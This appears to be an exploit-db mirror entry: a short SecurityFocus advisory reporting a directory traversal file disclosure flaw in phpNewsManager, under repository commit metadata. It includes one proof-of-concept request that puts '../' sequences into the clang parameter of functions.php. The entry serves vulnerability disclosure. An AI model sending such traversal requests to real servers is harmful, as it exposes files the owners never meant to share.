exploit-db-mirror/exploits/php/webapps/23742.txt
Offensive Security 36c084c351 DB: 2021-09-03
45419 changes to exploits/shellcodes

2 new exploits/shellcodes

Too many to list!
2021-09-03 13:39:06 +00:00

5 lines
No EOL
369 B
Text

source: https://www.securityfocus.com/bid/9720/info
phpNewsManager is prone to a file disclosure vulnerability. Remote attackers may submit malicious requests to the software that contain directory traversal sequences, potentially exposing sensitive resources outside of the hosting web server root.
http://www.example.com/functions.php?clang=../../../[existing_file]